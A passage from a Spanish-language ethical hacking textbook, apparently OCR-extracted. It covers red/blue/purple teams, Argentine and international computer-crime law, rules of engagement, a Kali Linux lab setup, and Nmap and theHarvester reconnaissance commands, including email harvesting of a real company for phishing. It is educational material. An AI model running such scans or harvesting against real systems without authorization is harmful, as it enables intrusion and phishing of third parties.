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Parte I: Fundamentos del Hacking Etico y Kali Linux

Seccion 1: El Ecosistema de la Ciberseguridad: Red, Blue y Purple
Teams

En el dinamico campo de la ciberseguridad, la defensa de una organizacién no es una tarea
monolitica, sino un ecosistema complejo donde diferentes equipos especializados colaboran
para superar a los atacantes potenciales. La comprension de las funciones, mentalidades y
sinergias de estos equipos es fundamental para construir una estrategia de defensa robusta y
resiliente. Los conceptos de Red Team, Blue Team y Purple Team, originados en los juegos de
guerra militares, han sido adaptados para crear un marco de trabajo que permite a las
organizaciones probar, medir y mejorar continuamente su postura de seguridad.

El Rol del Red Team: Mentalidad y Objetivos Ofensivos

El Red Team, o Equipo Rojo, asume un rol puramente ofensivo dentro de la estrategia de
ciberseguridad de una organizacion. Su mision principal es simular las tacticas, técnicas y
procedimientos (TTPs) de adversarios del mundo real para descubrir y explotar
vulnerabilidades en los sistemas, procesos y defensas de la organizacion. Actian como un
adversario controlado y ético, empujando las defensas hasta sus limites para evaluar su
verdadera eficacia.

Los objetivos del Red Team son multifacéticos y van mas alla de un simple escaneo de
vulnerabilidades. Sus metas clave incluyen:

¢ Violar Sistemas: El objetivo principal es penetrar las defensas de la organizacion
explotando debilidades técnicas, légicas 0 humanas. Esto puede implicar el uso de
exploits contra software desactualizado, el abuso de configuraciones incorrectas o la
ejecucidon de campafias de ingenieria social.

o Evadir la Deteccion: Una medida clave del éxito de un Red Team es su capacidad para
operar de forma sigilosa, evitando ser detectados por los sistemas de monitoreo y el
personal de seguridad del Blue Team. Esto prueba la eficacia de las herramientas de
deteccion y respuesta de la organizacion.

s Lograr Objetivos Especificos: Las operaciones del Red Team suelen estar orientadas a
objetivos, como obtener acceso no autorizado a datos sensibles (por ejemplo,
informacion de clientes, propiedad intelectual), escalar privilegios hasta obtener control
de administrador de dominio o demostrar el impacto de una brecha en los procesos de
negocio criticos.

o Evaluar la Respuesta a Incidentes: Al simular un ataque realista, el Red Team
proporciona al Blue Team una oportunidad invaluable para practicar y evaluar sus
procedimientos de respuesta a incidentes en un entorno controlado.



La mentalidad de un miembro del Red Team es fundamental para su éxito. Requiere una
combinacién unica de habilidades técnicas profundas y atributos psicolégicos especificos. La
creatividad es primordial; deben pensar de manera no convencional, como lo haria un
atacante real, para encontrar rutas de ataque inesperadas y encadenar vulnerabilidades
aparentemente menores para lograr un impacto significativo. La persistencia es igualmente
crucial, ya que las operaciones complejas a menudo encuentran obstaculos y defensas que
deben ser superados con paciencia y determinacion. Los roles dentro de un Red Team pueden
ser especializados, incluyendo a probadores de penetracion (penetration testers), atacantes de
red, desarrolladores de exploits e ingenieros sociales, todos trabajando en conjunto para
emular a un adversario sofisticado.

El Rol del Blue Team: Mentalidad y Objetivos Defensivos

En contraposicion directa al Red Team, el Blue Team, o Equipo Azul, constituye la linea de
defensa de la organizacién. Su rol es proteger los activos digitales, detectar amenazas y
responder a incidentes de seguridad de manera eficaz y oportuna. Mientras el Red Team es
proactivo en el ataque, el Blue Team es proactivo en la defensa, operando 24/7 para mantener
la integridad, confidencialidad y disponibilidad de los sistemas.

Los objetivos del Blue Team estan centrados en la proteccion y la resiliencia:

o Endurecimiento de Sistemas (Hardening): Implementar y mantener configuraciones
seguras en todos los sistemas, aplicaciones y redes para reducir la superficie de ataque y
minimizar las vulnerabilidades.

¢ Monitoreo y Deteccion Continuos: Utilizar herramientas como SIEM (Security
Information and Event Management), NIDS (Network Intrusion Detection Systems) y EDR
(Endpoint Detection and Response) para monitorear continuamente la actividad en la red
y los endpoints en busca de indicadores de compromiso (loCs) o comportamiento
anomalo.

¢ Analisis de Logs y Eventos: Recopilar y analizar logs de diversas fuentes para construir
una imagen completa de la actividad del sistema, identificar patrones sospechosos y
realizar investigaciones forenses.

¢ Respuesta a Incidentes: Desarrollar, probar y ejecutar planes de respuesta a incidentes
para contener, erradicar y recuperarse de las amenazas de manera eficiente,
minimizando el impacto en el negocio.

La mentalidad del Blue Team se basa en el pensamiento analitico y una meticulosa atencién
al detalle. Deben ser capaces de interpretar grandes volumenes de datos de seguridad
complejos, diferenciar entre falsos positivos y amenazas reales, y detectar anomalias sutiles
que podrian indicar una intrusién. La paciencia bajo presién es una virtud indispensable, ya
que deben gestionar incidentes en tiempo real de manera calmada y metddica. Su trabajo es
una maraton constante de vigilancia, a diferencia de las operaciones de alta intensidad y
basadas en proyectos del Red Team.

La Sinergia del Purple Team: Fomentando la Colaboracién para una Resiliencia
Superior

Historicamente, los equipos Rojo y Azul a menudo operaban en silos, con una relacion casi
antagonica. Sin embargo, la ciberseguridad moderna ha demostrado que la verdadera fortaleza
no reside en la supremacia de un equipo sobre el otro, sino en su colaboracion sinérgica. Este
enfoque colaborativo se conoce como Purple Teaming.



El Purple Team no es necesariamente un tercer equipo permanente, sino una funcion o
mentalidad que une las perspectivas ofensivas y defensivas. Su propdsito es maximizar la
eficacia de los ejercicios de seguridad creando un ciclo de retroalimentacion rapido y
transparente entre los atacantes y los defensores. En un ejercicio de Purple Team, el Red Team
no opera en completo sigilo con el objetivo final de "ganar", sino que comunica sus acciones
(los TTPs utilizados) al Blue Team, a menudo en tiempo real o en sesiones de informe muy
frecuentes.

Esta colaboracion produce beneficios estratégicos significativos que van mas alla de lo que los
equipos pueden lograr por separado:

1. Mejora Acelerada de la Deteccidon y Respuesta: El Blue Team puede verificar
inmediatamente si sus controles detectaron una técnica de ataque especifica. Si no fue
asi, pueden trabajar con el Red Team para entender por qué y ajustar sus reglas de
deteccion (por ejemplo, en el SIEM o EDR) en el momento. Este ciclo de "atacar,
detectar, ajustar, re-atacar" puede reducir el tiempo para mejorar una defensa de
semanas o meses a horas.

2. Validacion de Controles de Seguridad: Permite una evaluacion precisa y eficiente de la
eficacia de las herramientas de seguridad. Si el Red Team utiliza una técnica conocida y
el EDR no la detecta, se identifica una brecha clara en la cobertura que debe ser
abordada.

3. Transferencia de Conocimiento y Capacitacion: Los ejercicios de Purple Team son
una de las formas mas efectivas de capacitacion. El Blue Team obtiene una comprension
profunda de coémo piensan los atacantes y como se ven sus acciones en los logs y las
alertas. El Red Team, a su vez, aprende sobre las capacidades de deteccién y las
tacticas de respuesta del Blue Team, lo que les permite disefar simulaciones aun mas
realistas en el futuro.

4. Optimizacion de la Inversion en Seguridad: Al identificar qué herramientas y procesos
son efectivos y cudles no, las organizaciones pueden tomar decisiones mas informadas
sobre donde invertir su presupuesto de seguridad. Un informe de un ejercicio de Purple
Team que demuestra que un costoso sistema de seguridad fue facilmente eludido
proporciona una justificacion poderosa para reevaluar esa inversion.

La adopcién de un paradigma de Purple Team representa una evolucion en la madurez de la
ciberseguridad de una organizacién. Sefiala un cambio cultural desde una mentalidad de silos y
adversarios internos hacia una de colaboracion con el objetivo comun de fortalecer la resiliencia
organizacional. En un panorama de amenazas donde los adversarios son cada vez mas
sofisticados, este ciclo de retroalimentacion continuo y colaborativo no es solo una buena
practica, sino un imperativo estratégico para una defensa eficaz.

Seccion 2: El Marco Legal y Etico del Hacking

El término "hacking" a menudo evoca imagenes de actividad delictiva. Sin embargo, el hacking
ético es una disciplina profesional y legitima que opera dentro de un marco estricto de
consideraciones legales y éticas. La distincion fundamental entre un hacker ético (o "white hat")
y un actor malicioso (o "black hat") no radica en las habilidades o herramientas utilizadas, que a
menudo son las mismas, sino en la autorizacién y la intencion. Navegar por este panorama
legal es una responsabilidad primordial para cualquier profesional de la seguridad.

Principios Fundamentales: Autorizacién, Alcance y Confidencialidad



Para que una actividad de hacking sea considerada ética y legal, debe adherirse a tres
principios fundamentales e innegociables:

1.

Autorizacion Explicita: Este es el pilar sobre el que descansa todo el hacking ético.
Antes de realizar cualquier tipo de prueba de seguridad, el profesional debe obtener un
permiso explicito, inequivoco y por escrito del propietario del sistema o de la
organizacion. Este permiso, a menudo formalizado en un contrato, es lo que diferencia
legalmente a un probador de penetracién de un delincuente informatico. Operar sin esta
autorizacion constituye un acceso no autorizado y es ilegal segun la mayoria de las
jurisdicciones del mundo.

Definicion del Alcance (Scope): La autorizacion por si sola no es suficiente. El acuerdo
entre el hacker ético y la organizacion debe definir claramente el alcance del
compromiso. Esto incluye especificar qué sistemas, redes, aplicaciones y datos estan
dentro de los limites de la prueba, y cuales estan explicitamente fuera de los limites. El
alcance también debe detallar los métodos de prueba permitidos (por ejemplo, si se
permiten ataques de denegacion de servicio o ingenieria social) y el marco de tiempo
para el compromiso. Mantenerse estrictamente dentro del alcance definido es crucial
para evitar dafios no intencionados y responsabilidades legales.

Confidencialidad y Divulgacién Responsable: Durante una evaluacioén, un hacker
ético puede encontrar datos extremadamente sensibles. Es su deber ético y legal
mantener la estricta confidencialidad de toda la informacién descubierta. Los hallazgos
solo deben ser reportados a las partes designadas dentro de la organizacion cliente.
Ademas, el principio de divulgacion responsable dicta que las vulnerabilidades deben ser
reportadas de manera que la organizacién tenga tiempo suficiente para remediarlas
antes de que la informacion se haga publica, si es que se hace.

Analisis de la Legislacion Clave (Ley 26.388 de Argentina y marcos
internacionales)

El marco legal que rige el hacking ético varia segun la jurisdiccion, pero la mayoria de las leyes
se centran en penalizar el acceso no autorizado a sistemas informaticos.

En Argentina, la Ley Nacional N° 26.388, sancionada en 2008, es la legislacion clave que
modifica el Codigo Penal para tipificar los delitos informaticos. Esta ley es de vital importancia
para cualquier profesional que opere en el pais. Sus principales categorias de delitos incluyen:

Delitos contra la Privacidad y la Libertad (Acceso Indebido): El Articulo 153 bis del
Cadigo Penal, introducido por esta ley, sanciona con prision "al que a sabiendas e
ilegitimamente, o violando sistemas de confidencialidad y seguridad de datos, accediere,
de cualquier forma, a un sistema o dato informatico de acceso restringido". Esta es la
figura legal central que hace que el hacking sin autorizacion sea un delito. La pena se
agrava si el acceso perjudica a un organismo publico o a un proveedor de servicios
publicos.

Delitos contra la Propiedad (Dafo Informatico y Fraude): El Articulo 183 penaliza al
que "alterare, destruyere o inutilizare datos, documentos, programas o sistemas
informaticos". El Articulo 173, inciso 16, tipifica la estafa informatica, sancionando al que
"defraudare a otro mediante cualquier técnica de manipulacion informatica que altere el
normal funcionamiento de un sistema informatico o la transmisién de datos".

Violacion de Secretos: La ley también protege la confidencialidad de las
comunicaciones electronicas, otorgandoles la misma proteccion que la correspondencia
tradicional.



A nivel internacional, existen marcos legales similares que todo profesional debe conocer:

¢ Computer Fraud and Abuse Act (CFAA) en Estados Unidos: Esta es una de las leyes
de ciberdelincuencia mas importantes y de mayor alcance. Prohibe el acceso a una
computadora sin autorizacion o excediendo la autorizacion otorgada. Las exenciones
para el hacking ético se basan en la existencia de un permiso explicito del propietario del
sistema.

¢ Reglamento General de Proteccion de Datos (GDPR) en la Unién Europea: Aunque
es una ley de proteccion de datos, el GDPR tiene implicaciones significativas para el
hacking ético. Los pentesters deben asegurarse de que cualquier dato personal al que
accedan durante una prueba se maneje de acuerdo con los estrictos principios del
GDPR, incluyendo la minimizacién de datos y la confidencialidad, para evitar enormes
multas y responsabilidades legales.

Elaboracién de Reglas de Enfrentamiento (Rules of Engagement - RoE) Efectivas

Un documento de Reglas de Enfrentamiento (Rules of Engagement - RoE) es el contrato
operativo que traduce los principios legales y éticos en directrices practicas para una prueba de
penetracion. Es un documento fundamental que protege tanto al cliente como al equipo de
pruebas, asegurando que todas las partes tengan las mismas expectativas. Segun el NIST SP
800-115, el RoE "otorga al equipo de pruebas la autoridad para llevar a cabo actividades
definidas sin necesidad de permisos adicionales".

Un RoE completo y bien redactado debe incluir, como minimo, los siguientes elementos:

¢+  Resumen del Proyecto y Objetivos: Una descripcion de alto nivel de por qué se esta
realizando la prueba y qué se espera lograr (por ejemplo, "evaluar la seguridad del
perimetro externo de la red" o "probar la resistencia de la aplicacion web a ataques de
inyeccion SQL").

s Alcance Detallado (Scope): Esta es la seccidon mas critica. Debe listar explicitamente:

o Objetivos en Alcance (In-Scope): Direcciones IP, rangos de red, dominios,
aplicaciones y sistemas que estan permitidos para la prueba.

o Objetivos Fuera de Alcance (Out-of-Scope): Sistemas que no deben ser
probados bajo ninguna circunstancia para evitar interrupciones en sistemas criticos
de produccion o de terceros.

o Objetivos de Compromiso Especificos: Si el objetivo es alcanzar un "trofeo”
especifico, como acceder a una base de datos de clientes o conseguir privilegios
de administrador de dominio, debe especificarse.

¢ Cronograma del Proyecto: Fechas y horas exactas durante las cuales se permite la
actividad de prueba. Esto es crucial para que el Blue Team del cliente pueda distinguir
entre la actividad de la prueba y un ataque real, y para evitar pruebas durante periodos
de alta carga de negocio.

¢ Informacién de Contacto de Emergencia: Nombres y niUmeros de teléfono de contacto
24/7 tanto del equipo de pruebas como del cliente, para ser utilizados en caso de que se
detecte un problema critico o se sospeche de un compromiso real.

o Direcciones IP de los Testers: Las direcciones IP de origen desde las cuales el equipo
de pruebas lanzara sus ataques deben ser proporcionadas al cliente. Esto permite al
cliente ponerlas en una lista blanca (whitelist) en sus sistemas de prevencion de
intrusiones (IPS) si asi lo desean, o simplemente para monitorear y correlacionar la
actividad de la prueba.

¢ Manejo de Informacién Sensible: Directrices sobre como se deben manejar, almacenar



y reportar los datos sensibles descubiertos durante la prueba.

s Procedimientos de Divulgacion: Como y a quién se deben reportar las vulnerabilidades
criticas de inmediato, en lugar de esperar al informe final.

s Aprobacién por Escrito: El documento debe ser firmado y aprobado por un
representante autorizado del cliente antes de que comience cualquier actividad de
prueba.

Sin un RoE sdlido, un pentester opera en una zona gris legalmente peligrosa. Este documento
es la manifestacion practica del principio de autorizacion y define los limites que mantienen la
actividad dentro del ambito del profesionalismo ético.

Seccion 3: Kali Linux: El Sistema Operativo del Hacker Etico

En el arsenal de un profesional de la ciberseguridad, el sistema operativo es una de las
herramientas mas fundamentales. Para el hacking ético, las pruebas de penetracion y el
analisis forense, Kali Linux se ha consolidado como el estandar de facto en la industria. No es
simplemente una distribucion de Linux mas, sino un ecosistema completo, meticulosamente
disefado y optimizado para las tareas de seguridad ofensiva y defensiva.

Introduccién y Filosofia de Kali Linux

Kali Linux es una distribucion de codigo abierto basada en Debian, desarrollada, financiada y
mantenida por Offensive Security, una empresa lider en formacion en seguridad de la
informacién. Es el sucesor espiritual de BackTrack Linux y fue reconstruido desde cero en 2013
para adherirse completamente a los estandares de desarrollo de Debian, lo que garantiza su
estabilidad y robustez.

La filosofia de Kali Linux esta orientada especificamente a las necesidades de los profesionales
de la seguridad, no al uso general como sistema operativo de escritorio. Esta especializacion
se refleja en sus caracteristicas clave:

¢ Coleccion Exhaustiva de Herramientas: Kali viene preinstalado con mas de 600
herramientas de pruebas de penetracion, analisis forense, ingenieria inversa y evaluacion
de vulnerabilidades. Estas herramientas cubren todas las fases de una evaluacion de
seguridad, desde el reconocimiento hasta la post-explotacion. Herramientas icénicas
como Nmap, Metasploit Framework, Burp Suite, Wireshark, John the Ripper y Aircrack-ng
estan disponibles desde el primer momento.

¢ Kernel Personalizado: Kali utiliza un kernel de Linux que esta parcheado a medida para
soportar una amplia gama de hardware inalambrico y, lo que es mas importante, para
permitir la inyeccion de paquetes inalambricos. Esta es una capacidad crucial para
realizar auditorias de seguridad en redes Wi-Fi.

s Seguridad por Defecto: A diferencia de los sistemas operativos de escritorio, Kali esta
disefiado para ser seguro desde el principio. Por ejemplo, los servicios de red (como SSH
o HTTP) estan deshabilitados por defecto para minimizar la superficie de ataque del
propio sistema del pentester.

s Entorno de Desarrollo Seguro: El equipo de Kali Linux es un grupo reducido de
desarrolladores de confianza que son los Unicos autorizados para enviar paquetes a los
repositorios. Todos los paquetes estan firmados con GPG para garantizar su integridad y
autenticidad.

¢ Gratuito y de Cddigo Abierto: Kali Linux es y siempre sera gratuito. Su arbol de
desarrollo esta disponible publicamente en Git, lo que permite a los usuarios auditar el



codigo fuente y personalizar la distribucidn hasta el mas minimo detalle.

s Soporte Multiplataforma: Kali no solo se ejecuta en arquitecturas x86 y amd64, sino
que también tiene un robusto soporte para dispositivos ARM, lo que permite su uso en
sistemas embebidos de bajo costo como Raspberry Pi. Ademas, ofrece variantes para
virtualizacion, contenedores (Docker), Windows Subsystem for Linux (WSL) y dispositivos
moviles (Kali NetHunter).

Guia de Instalacion Practica: Creacion de un Laboratorio Seguro con VirtualBox

Para practicar el hacking ético de forma segura, es imperativo crear un laboratorio aislado.
Instalar Kali Linux directamente como sistema operativo principal (dual-boot o Unico) no es
recomendable para principiantes, ya que las actividades de pentesting (ejecutar scripts
maliciosos, abrir puertos, etc.) podrian exponer la maquina anfitriona a riesgos o causar danos
irreparables. La virtualizacion es la solucion ideal, ya que crea un entorno de "sandbox" que
aisla completamente el laboratorio de la red y el sistema principal.

A continuacion se presenta una guia paso a paso para instalar Kali Linux utilizando una imagen
de maquina virtual (VM) pre-construida en Oracle VirtualBox, el método mas rapido y sencillo.
Paso 1: Instalar VirtualBox y el Extension Pack

1. Vaya al sitio web oficial de VirtualBox (https://www.virtualbox.org/) y descargue el
instalador correspondiente a su sistema operativo anfitrion (Windows, macOS o Linux).

2. Desde la misma pagina de descargas, descargue el "VirtualBox Extension Pack". Es un
Unico archivo para todas las plataformas y afiade funcionalidades como el soporte para
USB 3.0 y el cifrado de disco de la VM.

3. Ejecute el instalador de VirtualBox y siga las instrucciones. Las opciones por defecto son
generalmente adecuadas.

4. Una vez instalado VirtualBox, haga doble clic en el archivo del Extension Pack. Acepte el
acuerdo de licencia para completar su instalacion.

Paso 2: Descargar la Imagen de Maquina Virtual de Kali Linux

1. Visite la pagina oficial de descargas de Kali Linux (https://www.kali.org/get-kali/).

2. Seleccione la opcién "Virtual Machines".

3. Descargue la imagen para "VirtualBox (64-bit)". Esta es una imagen .ova o un archivo .7z
que contiene los ficheros .vbox y .vdi, que ya esta preconfigurada y optimizada para
ejecutarse en VirtualBox, ahorrando todo el proceso de instalacion manual desde un ISO.

Paso 3: Importar y Configurar la Maquina Virtual

1. Sidescargd un archivo comprimido (como .7z), extraigalo en una carpeta de su eleccion.
Dentro encontrara un archivo con extensién .vbox o .ova.
Abra VirtualBox.
Vaya a Archivo > Importar servicio virtualizado.
Seleccione el archivo .ova o .vbox que extrajo y siga el asistente de importacién.
VirtualBox mostrara la configuracion predeterminada de la VM (RAM, CPU, etc.). Puede
ajustarla si lo desea, aunque se recomienda un minimo de 2 GB de RAM (4 GB
recomendados) y 25 GB de espacio en disco.

5. Haga clic en "Importar”. VirtualBox creara la maquina virtual de Kali y aparecera en el
panel izquierdo del administrador de VirtualBox.

Paso 4: Iniciar Kali Linux por Primera Vez

1. Seleccione la nueva VM de Kali en el panel izquierdo y haga clic en el botén "Iniciar".

2. Lamaquina virtual arrancara y le presentara una pantalla de inicio de sesion.

3. Las credenciales por defecto para las imagenes pre-construidas de Kali son :
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o Usuario: kali
o Contraseia: kali

Recorrido por el Entorno y Comandos Esenciales Post-Instalacion

Una vez que haya iniciado sesién en su nueva VM de Kali, hay algunos pasos cruciales que
debe realizar antes de empezar a usar las herramientas. Abra una ventana de terminal para
ejecutar los siguientes comandos.

1. Verificar la Conectividad: Asegurese de que su VM tiene acceso a Internet. Una forma
sencilla de hacerlo es con el comando ping.
ping -c 4 google.com
Si recibe respuestas, su conexion funciona correctamente.

2. Actualizar el Sistema (Paso Critico): Las imagenes de Kali, aunque se actualizan con
frecuencia, pueden no tener los ultimos paquetes. Es absolutamente fundamental
actualizar el sistema para obtener las ultimas versiones de las herramientas, parches de
seguridad y dependencias.
sudo apt update && sudo apt full-upgrade -y
Este comando realiza dos acciones:

o sudo apt update: Sincroniza la lista de paquetes de su sistema con los repositorios
de Kali, obteniendo la informacion mas reciente sobre las versiones disponibles.

o sudo apt full-upgrade -y: Actualiza todos los paquetes instalados a sus Ultimas
versiones, instalando o eliminando dependencias si es necesario. La opcion -y
responde afirmativamente a todas las preguntas, automatizando el proceso. Este
paso puede tardar un tiempo considerable.

3. Explorar las Herramientas: El menu de aplicaciones de Kali esta organizado por
categorias que se alinean con las fases de una prueba de penetracién (por ejemplo,
"Information Gathering", "Vulnerability Analysis", "Exploitation Tools", "Forensics").
Dedique tiempo a explorar estas categorias para familiarizarse con la vasta gama de
herramientas a su disposicion.

Con estos pasos completados, su laboratorio de Kali Linux esta listo y seguro para comenzar
su viaje en el hacking ético.

Parte Il: El Arte de la Ofensiva - Manual del Red Team

El Red Team opera en la vanguardia de la ciberseguridad, emulando a los adversarios para
probar proactivamente las defensas de una organizacion. Esta seccion de la guia se sumerge
en las tacticas, técnicas y herramientas que definen las operaciones ofensivas, siguiendo una
metodologia de ataque estructurada: desde el reconocimiento inicial hasta la explotacion, la
post-explotacion y la evasion avanzada. Cada fase se ilustrara con herramientas clave de Kali
Linux y ejemplos practicos en la linea de comandos.

Seccidn 4: Fase 1 - Reconocimiento e Inteligencia (OSINT)

El reconocimiento es la fase inicial y una de las mas criticas de cualquier operacion ofensiva. El
objetivo es recopilar la mayor cantidad de informacion posible sobre el objetivo de forma pasiva
(sin interactuar directamente con él) y activa (interactuando con sus sistemas). Esta informacién



es la base sobre la que se construiran los ataques posteriores.
Escaneo de Redes con Nmap

Nmap (Network Mapper) es la herramienta por excelencia para el reconocimiento activo.
Permite a los pentesters descubrir hosts en una red, los puertos que tienen abiertos, los
servicios que se ejecutan en esos puertos, las versiones de esos servicios y el sistema
operativo del host. Es una herramienta tan fundamental que su dominio es indispensable tanto
para los equipos ofensivos como para los defensivos que buscan entender su propia superficie
de ataque.

Tipos de Escaneo: SYN Scan (-sS) vs. Connect Scan (-sT)

La eleccion del tipo de escaneo TCP es una decision tactica fundamental que depende del nivel
de sigilo requerido y de los privilegios del usuario.
¢+ TCP SYN Scan (-sS): Conocido como escaneo "stealth" o "half-open", es el método de
escaneo TCP por defecto cuando Nmap se ejecuta con privilegios de superusuario (root).
Funciona enviando un paquete TCP con el flag SYN (sincronizar), como si fuera a iniciar
una conexion.

o Si el puerto esta abierto, el objetivo responde con un paquete SYN/ACK
(sincronizar/acuse de recibo). Nmap, al recibir esta respuesta, sabe que el puerto
esta abierto y envia inmediatamente un paquete RST (reset) para cerrar la
conexion antes de que se complete el handshake de tres vias.

o  Siel puerto esta cerrado, el objetivo responde con un paquete RST.

o La principal ventaja es el sigilo. Al no completar la conexion, es menos probable
que la aplicacion que escucha en el puerto registre el intento de conexién, lo que lo
hace mas dificil de detectar para sistemas de logging simples. Sin embargo, los
sistemas de deteccion de intrusiones (IDS) modernos suelen ser capaces de
detectar este tipo de escaneo.

¢+ TCP Connect Scan (-sT): Este es el escaneo TCP por defecto cuando el usuario no
tiene privilegios de root para enviar paquetes raw. En lugar de crear los paquetes a bajo
nivel, Nmap utiliza la llamada al sistema connect() del sistema operativo para intentar
establecer una conexién completa.

o Siel puerto esta abierto, el handshake de tres vias se completa con éxito. Nmap
entonces cierra la conexion.

o Siel puerto esta cerrado, la lamada connect() falla.

o La principal desventaja es que es ruidoso. Al completar la conexién, es mucho
mas probable que la aplicacion de destino y el sistema operativo registren el
evento, dejando un rastro claro de la actividad del escaner. Sin embargo, en redes
con firewalls que realizan inspeccion de estado de paquetes (Stateful Packet
Inspection), un Connect Scan puede ser mas fiable al imitar una conexion legitima.

Comandos Practicos de Nmap

A continuacion se presentan ejemplos de comandos de Nmap para realizar tareas comunes de
reconocimiento:
¢ Descubrimiento de Hosts (Ping Scan): Para identificar qué hosts estan activos en una
red sin realizar un escaneo de puertos. Es un primer paso rapido y eficiente.



# Realiza un ping scan en el rango de red 192.168.1.0/24
nmap -sn 192.168.1.0/24
La opcion -sn (anteriormente -sP) deshabilita el escaneo de puertos y solo realiza el
descubrimiento de hosts.

¢ Escaneo de Puertos Especificos: Para centrarse en puertos de interés conocidos.
# Escanea los puertos 80 (HTTP), 443 (HTTPS) y 22 (SSH) en el
objetivo 10.10.10.5
nmap -p 80,443,22 10.10.10.5

¢ Escaneo Rapido vs. Completo: Para un balance entre velocidad y exhaustividad.
# Escaneo rapido de los 100 puertos més comunes
nmap -F 10.10.10.5

# Escaneo de todos los 65535 puertos TCP
nmap -p- 10.10.10.5
La opcion -F es util para una evaluacion inicial rapida, mientras que -p- es exhaustivo
pero mucho mas lento.

s Deteccion de Servicios, Versiones y Sistema Operativo: Para obtener informacion
detallada sobre lo que se ejecuta en los puertos abiertos.
# Escaneo agresivo que incluye deteccidén de SO (-0), deteccidn de
versidén (-sV),
# escaneo de scripts (--script=default) y traceroute (-A)
sudo nmap -A 10.10.10.5
El comando -A es un atajo potente para obtener una imagen completa del objetivo. Se
requiere sudo porque la deteccién de SO y el escaneo SYN por defecto necesitan
privilegios de root.

¢ Uso del Nmap Scripting Engine (NSE): Para automatizar la deteccién de
vulnerabilidades.
# Ejecuta todos los scripts de la categoria 'vuln' en el objetivo
sudo nmap --script=vuln 10.10.10.5
NSE es un motor de scripting que amplia enormemente la funcionalidad de Nmap,
permitiendo desde la deteccion de vulnerabilidades especificas hasta la explotacion
basica.

¢ Guardar Resultados: Para documentar los hallazgos para su posterior andlisis.
# Escanea el objetivo y guarda los resultados en tres formatos:
normal, XML y "grepable"
sudo nmap -sS -A -oA resultados scan 10.10.10.5
La opcién -0A guarda los resultados en resultados_scan.nmap, resultados_scan.xml y
resultados_scan.gnmap, lo que es ideal para el procesamiento automatico y la
elaboracion de informes.

Opcion de Nmap [Nombre del Privilegio Nivel de Sigilo Caso de Uso Ideal
Escaneo Requerido
-sS TCP SYN Scan  |Root Alto Escaneo inicial
rapido y sigiloso
en redes no
filtradas. Es el
estandar para




Opcion de Nmap

Nombre del
Escaneo

Privilegio
Requerido

Nivel de Sigilo

Caso de Uso Ideal

pentesters.

-sT

TCP Connect
Scan

Usuario estandar

Bajo

Cuando no se
tienen privilegios
de root o cuando
se necesita
maxima fiabilidad
de conexion a
través de un
firewall con
estado.

UDP Scan

Root

Medio

Escanear servicios
basados en UDP
como DNS (53),
SNMP (161), o
DHCP (67/68). Es
inherentemente
lento.

-SN / -sF / -sX

Null / FIN / Xmas
Scan

Root

Muy Alto

Intentar evadir
firewalls sin estado
y sistemas IDS
antiguos que no
estan configurados
para detectar
estos paquetes
anomalos. No
funciona en
sistemas
Windows.

TCP ACK Scan

Root

Medio

Mapear conjuntos
de reglas de
firewall,
determinando si
los puertos estan
filtrados o no
filtrados. No puede
determinar si un
puerto esta

abierto.

Recoleccion de Informacion con theHarvester

Mientras que Nmap se centra en el reconocimiento técnico activo, theHarvester es una
herramienta de cédigo abierto (OSINT) disefiada para recopilar informacién publica sobre un
dominio o empresa. Reune datos como direcciones de correo electrénico, nombres de
subdominios, hosts virtuales, IPs y nombres de empleados de diversas fuentes publicas como
motores de busqueda (Google, Bing, DuckDuckGo) y bases de datos especializadas (Shodan,



Hunter.io, SecurityTrails). Esta informacién es oro puro para un Red Team, ya que puede
revelar subdominios olvidados y potencialmente vulnerables o proporcionar una lista de correos
electronicos para futuras campafas de phishing.

Comandos Practicos de theHarvester

¢+ Busqueda Basica en una Fuente:
# Buscar subdominios y correos para el dominio 'tesla.com' usando
el motor de blUsqueda de Google
theHarvester -d tesla.com -b google
Este comando le indica a theHarvester (-d) que se centre en tesla.com y que utilice (-b)
Google como su fuente de datos.
¢ Busqueda Exhaustiva y Limitacion de Resultados:
# Buscar en todas las fuentes disponibles, limitando los
resultados a 200 por fuente
theHarvester -d tesla.com -b all -1 200
Usar all como fuente es potente pero puede llevar tiempo. La opcién -| ayuda a gestionar
la cantidad de datos recopilados.
¢ Guardar los Resultados: Para un analisis posterior y la elaboracion de informes, es
crucial guardar la salida.
# Buscar en Bing y LinkedIn, y guardar los resultados en archivos
XML y JSON
theHarvester -d tesla.com -b bing,linkedin -f tesla results
Este comando creara los archivos tesla_results.xml y tesla_results.json con los hallazgos.
¢ Uso de APIs: Para fuentes como Hunter.io o SecurityTrails, se necesita una clave de
API. Estas claves se configuran en el archivo api-keys.yaml dentro del directorio de
configuracion de theHarvester.
# Buscar correos electrdénicos asociados a un dominio usando la API
de Hunter.io
theHarvester -d tesla.com -b hunter

El reconocimiento es un arte que combina la delicadeza técnica con la investigacién
exhaustiva. La informacién obtenida en esta fase determina la direccién y el éxito de las fases
posteriores del ataque. Un reconocimiento deficiente lleva a ataques fallidos, mientras que un
reconocimiento meticuloso revela las grietas en la armadura del objetivo que pueden ser
explotadas.

Seccidén 5: Fase 2 - Explotacion de Vulnerabilidades

Una vez que la fase de reconocimiento ha proporcionado un mapa del terreno y ha identificado
posibles puntos débiles, la fase de explotacion se centra en utilizar esa informacioén para
obtener acceso no autorizado a los sistemas objetivo. Esta es |la fase donde el hacking se
vuelve tangible. Implica el uso de herramientas especializadas para aprovechar
vulnerabilidades en software, servicios o configuraciones. La eleccion de la herramienta y la
técnica correctas es una decision estratégica que se basa en la inteligencia recopilada y en la
comprension de las defensas del objetivo.

Un aspecto crucial de esta fase es la seleccion del payload, el codigo que se ejecutara en el
sistema victima después de una explotacion exitosa. La eficacia de un ataque a menudo



depende de la capacidad del payload para evadir las defensas y establecer una conexion
estable para el atacante. Esta eleccidn no es trivial; un pentester debe considerar si el objetivo
esta detras de un firewall, las restricciones de tamafo del exploit y el nivel de sigilo requerido.
Por ejemplo, en un entorno corporativo donde el trafico saliente en puertos comunes como 80
(HTTP) y 443 (HTTPS) esta permitido pero las conexiones entrantes estan estrictamente
bloqueadas, una reverse shell que se conecta a través del puerto 443 es tacticamente superior
a una bind shell que intenta abrir un puerto aleatorio en la victima. Del mismo modo, si un
exploit de desbordamiento de bufer ofrece un espacio muy limitado, un payload staged
(pequefio y en etapas) es la Unica opcion viable, a pesar de que un payload stageless
(completo y auténomo) seria mas estable y sigiloso en términos de trafico de red
post-explotacion. Esta toma de decisiones estratégicas, que sopesa las ventajas y desventajas
de cada opcion en el contexto del objetivo, es lo que distingue a un operador avanzado.

El Framework Metasploit: Arquitectura, Médulos y msfconsole

El Metasploit Framework es, sin duda, la herramienta de explotacion mas famosa y completa
